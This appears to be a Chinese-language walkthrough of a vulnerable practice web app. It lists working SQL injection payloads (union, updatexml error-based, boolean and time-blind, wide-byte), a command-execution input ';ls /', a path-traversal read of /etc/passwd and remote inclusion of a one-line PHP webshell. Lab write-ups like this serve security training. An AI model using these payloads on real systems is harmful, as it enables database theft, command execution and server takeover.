SQL注入
数字型注入(post)
这里直接用的火狐拦截重发,稍微方便些
打开控制台-网络,上面查询id,找到post请求的这个包,右键编辑重发
可以看到下面的请求主体,直接修改里面的参数就可以了
?id=1 or 1=1
?id=1 or 1
select * from 表 where id='1 or 1=1'
select * from 表 where id='1 or 1'
1 or 1为真查找全部
发送后自动跳到修改后的请求,双击可以打开该请求的页面
字符型注入(get)
这个直接在输入框里测试就好了
' or 1=1#
selec * from username where uid= ' ' or 1=1# ' and email=xxx.com
#把后面的内容闭合了,与上面一样 or 1=1,1=1为真,查找全部
查下数据库名
' union select 1,database()#
selec * from username where uid=''union select 1,database()#' and email=xxx.com
搜索型注入
还是用万能密码就行
' or 1=1#
selec * from username where uid= ' ' or 1=1# ' and email=xxx.com
#把后面的内容闭合了,与上面一样 or 1=1,1=1为真,查找全部
xx型注入
输了下单引号,发现报错信息里有个括号
尝试闭合括号
1') or 1=1#
1') or 1#
select * from 表 where uid=(' ') and email=xxx.com
select * from 表 where uid=('1')or 1=1#') and email=xxx.com
select * from 表 where uid=1 or 1
insert/update 注入
insert注入点击注册在用户名处插入语句,用户名处输入1’触发报错存在注入点
1' or updatexml(1,concat(0x7e,database()),0) or'
updatexml:mysql对xml文档进行查询和修改的XPATH函数
concat:连接字符串函数
0x7e:assic码中的' ~ '
insert into 表名(name,passwd,sex,phone,address)value(xxx,xxx,xxx,xxx,xxx)
insert into 表名(name,passwd,sex,phone,address)value('1' or updatexml(1,concat(0x7e,database()),0) or'',xxx,xxx,xxx,xxx)
update注入在修改个人信息处插入语句,查询数据库名
1' or updatexml(1,concat(0x7e,database()),0) or'
update 表名 set sex = 'xxx ',phone='xxx',address='xxx',email='xxx' where name = ' '
update 表名 set sex = '1' or updatexml(1,concat(0x7e,database()),0) or'',phone='xxx',address='xxx',email='xxx' where name = '用户名 '
delete 注入
先提交一条留言,然后在点删除的时候抓包,插入sql语句
丢了张图…
id=57 or updatexml(1,concat(0x7e,database()),0)
delete from 表名 where id=57
delete from 表名 where id=57 or updatexml(1,concat(0x7e,database()),0)
http header 注入
抓包后在user-agent处插入语句
1' or updatexml(1,concat(0x7e,database()),0) or'
盲注(base on boolian)
语句后面的 ‘=112’ 其实就是数据库名称的第一个字符的asc码,112对应p
allen' and ascii(substr(database(),1,1))=112#
盲注(base on time)
先测试下看下响应时间判断是否存在注入点
allen' and sleep(3)#
确认存在注入点,通过延迟来判断数据库的字符,判断第一个字符为p,然后响应为我们设置的3秒,所以数据库第一个字符为p为真
allen' and if((substr(database(),1,1))='p',sleep(3),null)#
也可以通过更改database后的数字来判断数据库不同位置的字符,就这样一个个猜
allen' and if((substr(database(),2,1))='i',sleep(3),null)#
宽字节注入
需要通过抓包修改提交
kobe%df' or 1=1#
RCE远程代码执行
exec “ping”
不知道为啥这里输入ip地址后没回显信息
试了下输入;ls /
命令可以正常执行
exec “evel”
输入phpinfo();
可直接查看phpinfo信息
File Inclusion
本地文件包含
filename提交的文件没有安全限制,可以通过修改文件路径来执行代码
../../../../../etc/passwd
远程文件包含
提示开启php.ini中的allow_url_include
如果是docker安装的话,需要先进入到容器里,具体方法看开头的安装章节
进入容器后,找到php.ini,不知道的可以find一下,修改allow_url_include后需要重启中间件
修改后不要重启容器,重启后参数又重置了
命令如下
docker //进入镜像
docker ps //查看container id
docker exec -it container id /bin/bash //进入容器
cd /etc/php/7.3/apache2/php.ini
vi php.ini
allow_url_include=on
service apache2 restart
service apache2 status
演示这个还需要一台主机,为了方便我们就直接用现在这个了
测试的一句话木马容器里有,后缀应该改成.php,后面的写错了
/var/www/html/test/yijuhua.php
vim yijuhua.php
通过浏览器打开,复制下链接
然后在filename处插入url
提交请求后,可以在 ./app/vul/fileinclude 目录下找到该文件
这个路径就是filename参数前面的路径